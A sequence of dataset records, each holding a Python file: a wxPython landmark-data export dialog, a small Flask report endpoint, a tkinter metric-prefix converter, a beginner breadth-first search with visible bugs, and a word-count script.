i, (name, train_set, test_set) in enumerate(datasets):        \n        axes[0][i].set_title(name + ' (%s)'% model.name)\n        # train model\n        model.init_params(train_set)\n        disable_print()\n        losses = optimize(train_set, test_set, model)\n        enable_print()\n        #plot results\n        predict_grid(model, ax=axes[1][i])\n        visualize_one_dataset(train_set, ax=axes[0][i])\n        visualize_one_dataset(test_set, ax=axes[1][i])\n        axes[2][i].plot(losses)\n        axes[2][i].set_ylim([0,1])\n    plt.show()","sub_path":"labs/ex06/template/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":5461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"489908774","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# TODO: Use SQLAlchemy - done 12/18/2014\nimport math\nimport wx\nfrom libpy.modan_dbclass import MdDataset, MdDatasetView\n\nCONST = {}\n\nCONST['DIALOG_SIZE'] = wx.Size(640, 500)\nCONST['landmarkSeqWidth'] = 50\nCONST['landmarkCoordWidth'] = 50\n\nCONST['FILETYPE_TPS'] = 0\nCONST['FILETYPE_X1Y1'] = 1\nCONST['FILETYPE_MORPHOLOGIKA'] = 2\n\nCONTROL_ID = {}\nCONTROL_ID['ID_EXPORT_BUTTON'] = 1001\nCONTROL_ID['ID_CANCEL_BUTTON'] = 1002\nCONTROL_ID['ID_MOVELEFT_BUTTON'] = 1003\nCONTROL_ID['ID_MOVERIGHT_BUTTON'] = 1004\nCONTROL_ID['ID_FTYPE_COMBO'] = 1005\nCONTROL_ID['ID_CSIZE_CHECKBOX'] = 1006\nCONTROL_ID['ID_FOPTION_COMBO'] = 1007\n\nEXPORT_OPTION = ( 'Bookstein Registration', 'Sliding Baseline', 'Procrustes (GLS)', 'RFTRA', 'Traditional Length')\nCONST['IDX_BOOKSTEIN'] = 0\nCONST['IDX_SBR'] = 1\nCONST['IDX_GLS'] = 2\nCONST['IDX_RFTRA'] = 3\nCONST['IDX_TRADLEN'] = 4\nCONST['IDX_DEFAULT'] = CONST['IDX_BOOKSTEIN']\nFILETYPE_LIST = ['TPS', 'X1Y1CS', 'Morphologika2']\n\n\nclass ModanExportDialog(wx.Dialog):\n    dataset = None\n\n    def __init__(self, parent, id):\n        wx.Dialog.__init__(self, parent, id, 'Export Data', size=CONST['DIALOG_SIZE'])\n        panel = wx.Panel(self, -1)\n        self.forms = dict()\n        self.mos = []\n\n        mainSizer = wx.BoxSizer(wx.HORIZONTAL)\n\n        objectLabel1 = wx.StaticText(panel, -1, 'Object List', style=wx.ALIGN_CENTER)\n        objectLabel2 = wx.StaticText(panel, -1, 'Export List', style=wx.ALIGN_CENTER)\n        objectList = wx.ListBox(panel, -1, choices=(), size=(150, 200), style=wx.LB_EXTENDED)\n        exportList = wx.ListBox(panel, -1, choices=(), size=(150, 200), style=wx.LB_EXTENDED)\n        landmarkList = wx.ListCtrl(panel, -1, style=wx.LC_REPORT)\n        landmarkList.InsertColumn(0, 'Seq', width=CONST['landmarkSeqWidth'])\n        landmarkList.InsertColumn(1, 'X', width=CONST['landmarkCoordWidth'])\n        landmarkList.InsertColumn(2, 'Y', width=CONST['landmarkCoordWidth'])\n        landmarkList.InsertColumn(3, 'Z', width=CONST['landmarkCoordWidth'])\n        moveLeftButton = wx.Button(panel, CONTROL_ID['ID_MOVELEFT_BUTTON'], '<', size=(30, 30))\n        moveRightButton = wx.Button(panel, CONTROL_ID['ID_MOVERIGHT_BUTTON'], '>', size=(30, 30))\n        self.Bind(wx.EVT_BUTTON, self.OnMoveLeft, id=CONTROL_ID['ID_MOVELEFT_BUTTON'])\n        self.Bind(wx.EVT_BUTTON, self.OnMoveRight, id=CONTROL_ID['ID_MOVERIGHT_BUTTON'])\n        landmarkList.SetMinSize((200, 200))\n\n        self.list1 = objectList\n        self.list2 = exportList\n\n        objectSizer_btn = wx.BoxSizer(wx.VERTICAL)\n        objectSizer_btn.Add(moveLeftButton, wx.EXPAND)\n        objectSizer_btn.Add(moveRightButton, wx.EXPAND)\n\n        objectSizer = wx.FlexGridSizer(2, 3, 0, 0)\n        objectSizer.AddGrowableCol(0)\n        objectSizer.AddGrowableCol(2)\n        objectSizer.AddGrowableRow(1)\n\n        objectSizer.Add(objectLabel1, wx.EXPAND)\n        objectSizer.Add((10, 10), wx.EXPAND)\n        objectSizer.Add(objectLabel2, wx.EXPAND)\n        objectSizer.Add(objectList, wx.EXPAND)\n        objectSizer.Add(objectSizer_btn, 0, wx.ALIGN_CENTER | wx.ALIGN_CENTER_VERTICAL)\n        objectSizer.Add(exportList, wx.EXPAND)\n\n        # testButton = wx.Button( panel, -1, 'Test' )\n        objectSizerAll = wx.FlexGridSizer(rows=3, cols=1)\n        objectSizerAll.AddGrowableRow(0)\n        objectSizerAll.AddGrowableRow(2)\n        objectSizerAll.Add(objectSizer, wx.EXPAND)\n        objectSizerAll.Add((10, 10), wx.EXPAND)\n        objectSizerAll.Add(landmarkList, flag=wx.EXPAND)\n\n        ftypeLabel = wx.StaticText(panel, -1, 'File Type', style=wx.ALIGN_RIGHT)\n        foptionLabel = wx.StaticText(panel, -1, 'Option', style=wx.ALIGN_RIGHT)\n        ftypeCombo = wx.ComboBox(panel, CONTROL_ID['ID_FTYPE_COMBO'], \"TPS\", (15, 30), wx.DefaultSize, FILETYPE_LIST, wx.CB_DROPDOWN)\n        foptionCombo = wx.ComboBox(panel, CONTROL_ID['ID_FOPTION_COMBO'], EXPORT_OPTION[CONST['IDX_DEFAULT']], (15, 30), wx.DefaultSize,\n                                   EXPORT_OPTION, wx.CB_DROPDOWN)\n        self.Bind(wx.EVT_COMBOBOX, self.OnFtypeChange, id=CONTROL_ID['ID_FTYPE_COMBO'])\n        self.Bind(wx.EVT_COMBOBOX, self.OnFoptionChange, id=CONTROL_ID['ID_FOPTION_COMBO'])\n        exportButton = wx.Button(panel, CONTROL_ID['ID_EXPORT_BUTTON'], 'Export')\n        self.Bind(wx.EVT_BUTTON, self.OnExport, id=CONTROL_ID['ID_EXPORT_BUTTON'])\n        cancelButton = wx.Button(panel, CONTROL_ID['ID_CANCEL_BUTTON'], 'Cancel')\n        self.Bind(wx.EVT_BUTTON, self.OnClose, id=CONTROL_ID['ID_CANCEL_BUTTON'])\n        self.ftypeCombo = ftypeCombo\n        self.foptionCombo = foptionCombo\n        self.ftypeLabel = ftypeLabel\n        self.foptionLabel = foptionLabel\n        #self.csizeLabel = wx.StaticText( panel, ID_CSIZE_LABEL, 'Include csize', style=wx.ALIGN_RIGHT )\n        self.datasetCheckbox = wx.CheckBox(panel, CONTROL_ID['ID_CSIZE_CHECKBOX'], 'Include dataset name', style=wx.ALIGN_RIGHT)\n        self.datasetCheckbox.SetValue(True)\n        self.objnameCheckbox = wx.CheckBox(panel, CONTROL_ID['ID_CSIZE_CHECKBOX'], 'Include object name', style=wx.ALIGN_RIGHT)\n        self.objnameCheckbox.SetValue(True)\n        self.groupInfoCheckbox = wx.CheckBox(panel, CONTROL_ID['ID_CSIZE_CHECKBOX'], 'Include group information',\n                                             style=wx.ALIGN_RIGHT)\n        self.groupInfoCheckbox.SetValue(True)\n        self.csizeCheckbox = wx.CheckBox(panel, CONTROL_ID['ID_CSIZE_CHECKBOX'], 'Include centroid size', style=wx.ALIGN_RIGHT)\n        self.csizeCheckbox.SetValue(True)\n        self.headerCheckbox = wx.CheckBox(panel, CONTROL_ID['ID_CSIZE_CHECKBOX'], 'Include column header', style=wx.ALIGN_RIGHT)\n        self.headerCheckbox.SetValue(True)\n        # baseline\n        self.baselineLabel = wx.StaticText(panel, -1, 'Baseline', style=wx.ALIGN_RIGHT)\n        self.forms['baseline'] = wx.TextCtrl(panel, -1, '')\n        # wireframe\n        self.wireframeLabel = wx.StaticText(panel, -1, 'Wireframe', style=wx.ALIGN_RIGHT)\n        self.forms['wireframe'] = wx.TextCtrl(panel, -1, '')\n\n        booksteinSizer = wx.BoxSizer()\n        booksteinSizer.Add(self.baselineLabel, wx.EXPAND)\n        booksteinSizer.Add(self.forms['baseline'], wx.EXPAND)\n        tradlenSizer = wx.BoxSizer()\n        tradlenSizer.Add(self.wireframeLabel, wx.EXPAND)\n        tradlenSizer.Add(self.forms['wireframe'], wx.EXPAND)\n\n        optionSizer = wx.FlexGridSizer(2, 1, 0, 0)\n        optionSizer.AddGrowableRow(0)\n        optionSizer.AddGrowableRow(1)\n        fileSizer = wx.FlexGridSizer(3, 3, 0, 0)\n        fileSizer.Add(ftypeLabel, flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add(ftypeCombo, flag=wx.EXPAND | wx.ALIGN_CENTER)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add(foptionLabel, flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add(foptionCombo, flag=wx.EXPAND | wx.ALIGN_CENTER)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add(self.datasetCheckbox, flag=wx.EXPAND | wx.ALIGN_LEFT)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add(self.objnameCheckbox, flag=wx.EXPAND | wx.ALIGN_LEFT)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add(self.groupInfoCheckbox, flag=wx.EXPAND | wx.ALIGN_LEFT)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add(self.csizeCheckbox, flag=wx.EXPAND | wx.ALIGN_LEFT)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add(self.headerCheckbox, flag=wx.EXPAND | wx.ALIGN_LEFT)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add(booksteinSizer, flag=wx.EXPAND | wx.ALIGN_LEFT)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add((10, 10), flag=wx.EXPAND)\n        fileSizer.Add(tradlenSizer, flag=wx.EXPAND | wx.ALIGN_LEFT)\n        #optionSizer.Add( ftypeLabel, wx.EXPAND )\n        #optionSizer.Add( ftypeCombo, wx.EXPAND )\n        #optionSizer.Add( foptionLabel, wx.EXPAND )\n        #optionSizer.Add( foptionCombo, wx.EXPAND )\n        optButtonSizer = wx.BoxSizer(wx.HORIZONTAL)\n        optButtonSizer.Add(exportButton, flag=wx.ALIGN_CENTER)\n        optButtonSizer.Add(cancelButton, flag=wx.ALIGN_CENTER)\n        optionSizer.Add(fileSizer, flag=wx.ALIGN_CENTER)\n        optionSizer.Add(optButtonSizer, flag=wx.ALIGN_CENTER)\n\n        mainSizer.Add((10, 10))\n        mainSizer.Add(objectSizerAll, flag=wx.EXPAND)\n        mainSizer.Add((10, 10))\n        mainSizer.Add(optionSizer, flag=wx.EXPAND)\n        mainSizer.Add((10, 10))\n\n        panel.SetSizer(mainSizer)\n        panel.Fit()\n\n        evt = wx.PyEvent(-1)\n        self.OnFtypeChange(evt)\n        #print self.dataset\n        if self.dataset != None:\n            self.forms['baseline'].SetValue(self.dataset.baseline)\n            self.forms['wireframe'].SetValue(self.dataset.wireframe)\n\n    def SetDataset(self, ds):\n        self.dataset = ds\n        #print self.dataset.baseline\n        self.forms['baseline'].SetValue(ds.baseline)\n        self.forms['wireframe'].SetValue(self.dataset.wireframe)\n        return\n\n    def OnExport(self, evt):\n        wildcard = ''\n        if ( self.filetype == CONST['FILETYPE_TPS']):\n            wildcard = \"TPS file (*.tps)|*.tps|\" \\\n                       \"TPS file (*.txt)|*.txt|\" \\\n                       \"All files (*.*)|*.*\"\n        elif ( self.filetype == CONST['FILETYPE_X1Y1']):\n            wildcard = \"X1Y1 file (*.x1y1)|*.x1y1|\" \\\n                       \"X1Y1 file (*.txt)|*.txt|\" \\\n                       \"All files (*.*)|*.*\"\n        elif ( self.filetype == CONST['FILETYPE_MORPHOLOGIKA']):\n            wildcard = \"Morphologika2 file (*.txt)|*.txt|\" \\\n                       \"All files (*.*)|*.*\"\n\n        fileDialog = wx.FileDialog(self, \"Choose a file\", \"\",\n                                   \"\", wildcard, wx.SAVE | wx.OVERWRITE_PROMPT)\n        if fileDialog.ShowModal() == wx.ID_OK:\n            filename = fileDialog.GetPath()\n            fileDialog.Destroy()\n        else:\n            fileDialog.Destroy()\n            return\n\n        wx.BeginBusyCursor()\n        baseline = []\n        for c in self.forms['baseline'].GetValue().split(','):\n            if c != '':\n                baseline.append(int(c))\n\n        dimension = self.dataset.dimension\n\n        # collect objects\n        ds = MdDatasetView(self.dataset)\n        ds.object_list = []\n        for i in xrange(self.list2.GetCount()):\n            mo = self.list2.GetClientData(i)\n            ds.object_list.append(mo)\n\n        # align objects\n        foption = self.foptionCombo.GetValue()\n        #print \"foption:\", foption\n        #print EXPORT_OPTION\n        if ( self.filetype == CONST['FILETYPE_X1Y1']):\n            if ( foption == EXPORT_OPTION[CONST['IDX_GLS']] ):\n                ds.procrustes_superimposition()\n            elif ( foption == EXPORT_OPTION[CONST['IDX_BOOKSTEIN']] ):\n                #print \"bookstein\"\n                for mo in ds.object_list:\n                    #mo.print_landmarks()\n                    mo.bookstein_registration(baseline)\n            elif ( foption == EXPORT_OPTION[CONST['IDX_SBR']]):\n                for mo in ds.object_list:\n                    mo.sliding_baseline_registration(baseline)\n            elif ( foption == EXPORT_OPTION[CONST['IDX_RFTRA']] ):\n                wx.BeginBusyCursor()\n                ds.resistant_fit_superimposition()\n                wx.EndBusyCursor()\n\n        result_str = ''\n        separator = \"\\t\"\n        ''' different newline for different OS '''\n        newline = \"\\n\"\n\n        ''' print data into file '''\n\n        ''' header row '''\n        if self.filetype == CONST['FILETYPE_X1Y1']:\n            if self.headerCheckbox.GetValue():\n                if self.datasetCheckbox.GetValue():\n                    result_str += \"datasetName\" + separator\n                if self.objnameCheckbox.GetValue():\n                    result_str += \"objectName\" + separator\n                if self.groupInfoCheckbox.GetValue():\n                    for pn in self.dataset.propertyname_list:\n                        result_str += pn.propertyname + separator\n                if foption == EXPORT_OPTION[CONST['IDX_TRADLEN']]:\n                    self.dataset.unpack_wireframe()\n                    for edge in self.dataset.edge_list:\n                        result_str += \"d\" + str(edge[0]) + \"_\" + str(edge[1])\n                        result_str += separator\n                else:\n                    mo = ds.object_list[0]\n                    l_idx = 0\n                    for lm in mo.landmark_list:\n                        l_idx += 1\n                        result_str += \"x\" + str(l_idx) + separator + \"y\" + str(l_idx)\n                        if dimension == 3:\n                            result_str += separator + \"z\" + str(l_idx)\n                        result_str += separator\n                if ( self.csizeCheckbox.GetValue() ):\n                    result_str += \"csize\"\n                result_str += newline\n        elif self.filetype == CONST['FILETYPE_MORPHOLOGIKA']:\n            result_str += \"[individuals]\" + newline + str(len(ds.object_list)) + newline\n            result_str += \"[landmarks]\" + newline + str(len(ds.object_list[0].landmark_list)) + newline\n            result_str += \"[Dimensions]\" + newline + str(dimension) + newline\n            label_values = \"[labels]\" + newline + separator.join( [ pn.propertyname for pn in self.dataset.propertyname_list ]) + newline\n            label_values += \"[labelvalues]\" + newline\n\n        ''' actual data '''\n        #rawpoint_values = ''\n        rawpoint_values = \"[rawpoints]\" + newline\n        name_values = \"[names]\" + newline\n        for mo in ds.object_list:\n            if ( self.filetype == CONST['FILETYPE_TPS'] ):\n                result_str += \"lm=\" + str(len(mo.landmark_list)) + separator + str(mo.objname) + newline\n                mo.trim_decimal()\n                for lm in mo.landmark_list:\n                    result_str += separator.join([str(c) for c in lm.coords])\n                    result_str += newline\n            elif self.filetype == CONST['FILETYPE_X1Y1']:\n                #print \"x1y1\"\n                mo.trim_decimal()\n                if ( self.datasetCheckbox.GetValue() ):\n                    result_str += str(mo.dataset.dsname) + separator\n                if ( self.objnameCheckbox.GetValue() ):\n                    result_str += str(mo.objname) + separator\n                if ( self.groupInfoCheckbox.GetValue() ):\n                    for i in range(len(self.dataset.propertyname_list)):\n                        result_str += str(mo.property_list[i].property) + separator\n\n                if ( foption == EXPORT_OPTION[CONST['IDX_TRADLEN']] ):\n                    for edge in self.dataset.edge_list:\n                        from_edge, to_edge = edge\n                        #print from_edge, to_edge\n                        dist = self.get_distance(mo.landmark_list[from_edge - 1].coords, mo.landmark_list[to_edge - 1].coords)\n                        result_str += str(dist) + separator\n                else:\n                    for lm in mo.landmark_list:\n                        result_str += separator.join(lm.coords)\n                        result_str += separator\n\n                if ( self.csizeCheckbox.GetValue() ):\n                    result_str += str(mo.get_centroid_size())\n                result_str += newline\n            elif self.filetype == CONST['FILETYPE_MORPHOLOGIKA']:\n                label_values += separator.join([p.property for p in mo.property_list ]).strip() + newline\n                name_values += mo.objname + newline\n                #print mo.objname\n                rawpoint_values += \"'#\" + mo.objname + newline\n                for lm in mo.landmark_list:\n                    rawpoint_values += separator.join([str(c) for c in lm.coords])\n                    rawpoint_values += newline\n\n        if self.filetype == CONST['FILETYPE_MORPHOLOGIKA']:\n            #print name_values\n            result_str += name_values + label_values + rawpoint_values\n            result_str += \"[wireframe]\" + newline\n            self.dataset.unpack_wireframe()\n            for edge in self.dataset.edge_list:\n                #print edge\n                result_str += separator.join([str(v) for v in edge]) + newline\n            result_str += \"[polygons]\" + newline\n            self.dataset.unpack_polygons()\n            for polygon in self.dataset.polygon_list:\n                #print edge\n                result_str += separator.join([str(v) for v in polygon]) + newline\n\n        fh = file(filename, 'w')\n        fh.write(result_str)\n        fh.close()\n\n        wx.EndBusyCursor()\n        self.Close()\n\n    #    return 1\n    def get_distance(self, coords1, coords2):\n        if len(coords1) != len(coords2):\n            return -1\n        sqsum = 0\n        for i in range( len(coords1)):\n            sqsum += ( coords1[i] - coords2[i] ) ** 2\n        dist = math.sqrt(sqsum)\n        return dist\n\n    def OnClose(self, evt):\n        self.Close()\n\n    def OnMoveRight(self, evt):\n        self.MoveItemsBetweenListBox(self.list1, self.list2)\n\n    def OnMoveLeft(self, evt):\n        self.MoveItemsBetweenListBox(self.list2, self.list1)\n\n    def OnFoptionChange(self, evt):\n        foption = self.foptionCombo.GetValue()\n        self.baselineLabel.Hide()\n        self.forms['baseline'].Hide()\n        self.wireframeLabel.Hide()\n        self.forms['wireframe'].Hide()\n        if self.filetype == CONST['FILETYPE_X1Y1']:\n            if ( foption == EXPORT_OPTION[CONST['IDX_SBR']] or foption == EXPORT_OPTION[CONST['IDX_BOOKSTEIN']] ):\n                self.baselineLabel.Show()\n                self.forms['baseline'].Show()\n            elif ( foption == EXPORT_OPTION[CONST['IDX_TRADLEN']] ):\n                self.wireframeLabel.Show()\n                self.forms['wireframe'].Show()\n\n    def OnFtypeChange(self, evt):\n        ftype = self.ftypeCombo.GetValue()\n        if ( ftype == FILETYPE_LIST[CONST['FILETYPE_TPS']] ):\n            self.filetype = CONST['FILETYPE_TPS']\n            #print 'yes tps'\n            self.foptionCombo.Hide()\n            self.foptionLabel.Hide()\n            self.csizeCheckbox.Hide()\n            self.objnameCheckbox.Hide()\n            self.groupInfoCheckbox.Hide()\n            self.datasetCheckbox.Hide()\n            self.headerCheckbox.Hide()\n            self.baselineLabel.Hide()\n            self.forms['baseline'].Hide()\n        elif ( ftype == FILETYPE_LIST[CONST['FILETYPE_MORPHOLOGIKA']]):\n            self.filetype = CONST['FILETYPE_MORPHOLOGIKA']\n            #print 'yes tps'\n            self.foptionCombo.Hide()\n            self.foptionLabel.Hide()\n            self.csizeCheckbox.Hide()\n            self.objnameCheckbox.Hide()\n            self.groupInfoCheckbox.Hide()\n            self.datasetCheckbox.Hide()\n            self.headerCheckbox.Hide()\n            self.baselineLabel.Hide()\n            self.forms['baseline'].Hide()\n        else:\n            self.filetype = CONST['FILETYPE_X1Y1']\n            #print 'not tps'\n            self.foptionCombo.Show()\n            self.foptionLabel.Show()\n            self.csizeCheckbox.Show()\n            self.objnameCheckbox.Show()\n            self.groupInfoCheckbox.Show()\n            self.headerCheckbox.Show()\n            self.datasetCheckbox.Show()\n            self.baselineLabel.Hide()\n            self.forms['baseline'].Hide()\n        self.OnFoptionChange(None)\n\n    def MoveItemsBetweenListBox(self, lb_from, lb_to):\n        j = 0\n        for i in xrange(lb_from.GetCount()):\n            if lb_from.IsSelected(j):\n                mo = lb_from.GetClientData(j)\n                lb_from.Delete(j)\n                lb_to.Append(mo.objname, mo)\n            else:\n                j = j + 1\n\n    def SetObjectList(self, objList):\n        self.objList = objList\n        #for mo in objList:\n        self.list1.Clear()\n        #self.SetSort(lambda x, y: cmp(x.id, y.id)) # default sorting\n\n        for mo in self.objList:\n            #print mo.objname\n            self.list1.Append(mo.objname, mo)\n            #self.colsort = [0, 0, 0] # 0=ascending ready, 1=descending ready\n\n    def SetExportList(self, objList):\n        self.objList = objList\n        #for mo in objList:\n        self.list2.Clear()\n        #self.SetSort(lambda x, y: cmp(x.id, y.id)) # default sorting\n\n        for mo in self.objList:\n            #print mo.objname\n            self.list2.Append(mo.objname, mo)\n            #self.colsort = [0, 0, 0] # 0=ascending ready, 1=descending ready\n","sub_path":"gui/dialog_export.py","file_name":"dialog_export.py","file_ext":"py","file_size_in_byte":20994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"363181956","text":"import uuid\nimport json\nfrom flask import Flask, request\nfrom flask_cors import cross_origin\nfrom marshmallow import Schema, fields, pprint, ValidationError\n\napp = Flask(__name__)\n\nclass ReportSchema(Schema):\n    username = fields.Str(\n        required=True,\n        error_messages={\"required\": {\"message\": \"Username required\", \"code\": 400}}\n    )\n    report = fields.Str(\n        required=True,\n        error_messages={\"required\": {\"message\": \"Report text required\", \"code\": 400}}\n    )\n\nreportSchema = ReportSchema()\n\n@app.route('/report', methods=['POST'])\n@cross_origin()\ndef saveReport():\n    try:\n        data = reportSchema.load(json.loads(request.data))\n\n        report = data['report']\n        username = data['username']\n\n        # .. Process and persist data\n\n        return {\n            'report_id': str(uuid.uuid4()),\n            'report': report + '__PROCESSED__',\n            'username': username\n        }\n    except ValidationError as err:\n        pprint(err.messages)\n        return err.messages, 400\n\nif __name__ == '__main__':\n    app.run(debug=True, host='0.0.0.0')\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"419319275","text":"import tkinter as tk\nfrom tkinter import RIGHT,ttk\n\n#Define fonts\nbg_color = \"#c75c5c\"\nbutton_color = \"#f3cb83\"\nfont_fam = (\"Cambria\",14)\n\n#Create Window\nroot = tk.Tk()\nroot.title(\"Metric Helper\")\nroot.configure(background=bg_color)\nroot.resizable(0,0)\nroot.iconbitmap(\"images/ruler.ico\")\n\n#Define Functions\ndef convert():\n\n    #Creating a metric dataset using dictionary\n    metrics_values = {\n        \"famto\":10**-15,\n        \"pico\":10**-12,\n        \"nano\":10**-9,\n        \"micro\":10**-6,\n        \"mili\":10**-3,\n        \"centi\":10**-2,\n        \"deci\":10**-1,\n        \"base value\":10**0,\n        \"deca\":10**1,\n        \"hecto\":10**2,\n        \"kilo\":10**3,\n        \"mega\":10**6,\n        \"giga\":10**9,\n        \"tera\":10**12,\n        \"peta\":10**15\n}\n    #gathering user input\n    user_input = float(input_entry.get())\n    base_prefix = input_combobox.get()\n    base_conversion = output_combobox.get()\n    #conversion\n    base_value = user_input * metrics_values[base_prefix]\n    converted_value = base_value/metrics_values[base_conversion]\n    #Clearing output screen\n    output_entry.delete(0,'end')\n    #Entering output\n    output_entry.insert(0,str(converted_value))\n\n\n\n#Creating Widgets\n#Entry boxes\ninput_entry = tk.Entry(root,text=\"Enter your quantity\",width=20,justify=RIGHT,bd=3)\ninput_entry.grid(row=0,column=0,padx=20,pady=20)\noutput_entry = tk.Entry(root,text=\"Output result\",width=20,justify=RIGHT,bd=3)\noutput_entry.grid(row=0,column=2,padx=20)\n\n#Labels\nequal_lbl = tk.Label(root,text=\"=\",font=font_fam,bg=bg_color)\nequal_lbl.grid(row=0,column=1)\nto_lbl = tk.Label(root,text=\"to\",font=font_fam,bg=bg_color)\nto_lbl.grid(row=1,column=1)\n\n#Combox list\nmetrics = [\"famto\",\"pico\",\"nano\",\"micro\",\"mili\",\"centi\",\"deci\",\"base value\",\"deca\",\"hecto\",\"kilo\",\"mega\",\"giga\",\"tera\",\"peta\"]\ninput_combobox = ttk.Combobox(root,values=metrics,font=(\"Cambria\",8),justify='center')\noutput_combobox = ttk.Combobox(root,values=metrics,font=(\"Cambria\",8),justify='center')\ninput_combobox.grid(row=1,column=0,padx=(10,0))\noutput_combobox.grid(row=1,column=2)\ninput_combobox.set('base value')\noutput_combobox.set('base value')\n\n#Define Button\nconvert_button = tk.Button(root,text=\"Convert\",font=font_fam,bg=button_color,command=convert)\nconvert_button.grid(row=2,column=0,columnspan=3,pady=20,ipadx=10)\n\nroot.mainloop()","sub_path":"Metric_Helper/Metric_Helper.pyw","file_name":"Metric_Helper.pyw","file_ext":"pyw","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"313000255","text":"#!/usr/bin/python\nfrom collections import deque\n\nclass graphVertex:\n\tdef __init__(self,name):\n\t\tself.name=name\n\t\tself.visitStatus='notVisited'#'notVisited','visiting'.'visited'\n\t\tself.distance = 9999999\n\t\tself.previous = null\n\t\nclass graphEdge:\n\tdef __init__(self,start,end,distance,isDirected):\n\t\tself.start=start\n\t\tself.end=end\n\t\tself.distance=distance\n\t\tself.isDirected=isDirected\n\ndef breadthFirstSearch(vertexList,adjList,start):\n\t#initilize all vertex to notVisited, infinite distance, previous null(done while vertex initilization)\n\t#start with source vertex\n\tstart.visitStatus='visiting'\n\tstart.distance=0\n\tbfsQueue=deque(start)\n\t#n=len(vertexList)\n\twhile bfsQueue:\n\t\tx=bfsQueue.popleft()\n\t\tfor y in adjList[x.name]:\n\t\t\tvertex=null\n\t\t\tfor v in vertexList:\n\t\t\t\tif y== v.name:\n\t\t\t\t\tvertex=v\n\t\t\t\t\tbreak\n\t\t\tif vertex.visitStatus == 'notVisited':\n\t\t\t\tvertex.visitStatus='visiting'\n\t\t\t\tvertex.distance= x.distance+ edgeDistance(x.name,vertex.name)\n\t\t\t\tvertex.previous= x.name\n\t\t\t\tbfsQueue.append(vertex)\n\t\tx.visitStatus='visited'\n\t\t\t\t\t\t\t\t\n\ndef main():\n\tadjList={}\n\tvertexList=[]\n\tedgeList=[]\n\tn = input('Enter the number of nodes in the Graph')\n\tfor i in range(n):\n\t\tvertexName=input('Enter vertex Name')\n\t\tvertexList.append(graphVertex(vertexName))\n\tm= input('Enter the number of edges in the Graph')\n\tfor i in range(m):\n\t\tedgeStart=input('Enter start Vertex name')\n\t\tedgeEnd=input('Enter end vertex name')\n\t\tedgeDistance=input('Enter edge length')\n\t\tedgeIsDirected=input('Edge directed/undirected')\n\t\tedgeList.append(graphEdge(edgeStart,edgeEnd,edgeDistance,edgeIsDirected))\n\ts=input('Enter start vertex name')\n\tstart= null\n\tfor vertex in vertexList:\n\t\tif vertex.name== s:\n\t\t\tstart=vertex\n\t\tfor i in range(m):\n\t\t\tif edgeList[i].edgeStart == vertex.name:\n\t\t\t\tif vertex.name in adjList:\n\t\t\t\t\tadjList[vertex.name].append(edgeList[i].edgeEnd)\n\t\t\t\telse:\n\t\t\t\t\tadjList[vertex.name]=edgeList[i].edgeEnd\n\tbreadthFirstSearch(vertexList,adjList,start)\t\t\t\t\t\n\nif __name__==\"__main__\":main()\n","sub_path":"Python/breadthFirstSearch.py","file_name":"breadthFirstSearch.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"537997178","text":"#problem 6 biot e-100\r\n#dictionaries\r\n#path\r\nimport os\r\nos.chdir(\"C:/Users/bag019/Desktop\")\r\n#input and outfile\r\nmy_string = input(\"Enter String: \")\r\noutfile = open(\"outfile.txt\", 'w')\r\n#all lower\r\nsplit = my_string.split()\r\n#empty dictionary\r\ndic = [[],[]]\r\n\r\n#go through each word\r\nfor word in split:\r\n    #add word to dic\r\n    if word not in dic[0]:\r\n        dic[0].append(word)\r\n        dic[1].append(1)\r\n    #if word exists += 1\r\n    else:\r\n        loc = dic[0].index(word)\r\n        dic[1][loc] += 1\r\n        \r\n#write outfile\r\nfor i in range(0,len(dic[0])):\r\n    outfile.write(dic[0][i] + ' ' + str(dic[1][i]) + '\\n')\r\n\r\n#close outfile\r\noutfile.close()\r\n\r\n","sub_path":"List_of_Lists.py","file_name":"List_of_Lists.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
